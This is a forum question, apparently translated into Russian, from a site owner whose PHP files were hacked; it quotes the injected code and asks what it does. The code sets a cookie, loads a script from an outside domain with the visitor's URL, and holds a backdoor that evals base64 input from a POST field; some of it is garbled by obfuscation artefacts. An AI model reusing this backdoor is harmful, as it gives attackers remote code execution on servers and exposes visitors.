Наш сервер был взломан через некоторый метод SQL Injection (теперь исправлен). Все наши файлы PHP получили это добавление в самый верх каждого файла.
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if([email protected]$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
Кажется, что установлен файл cookie, но у меня нет первой идеи, что он делает.
Любые эксперты, способные понять, что это делает, и потенциально то, что созданное имя cookie может выглядеть так, я могу сказать всем пользователям и т.д.
UPDATE Видимо, эксплойт произошел из-за плагина в программном обеспечении Zenphoto Gallery под названием Tiny_MCE.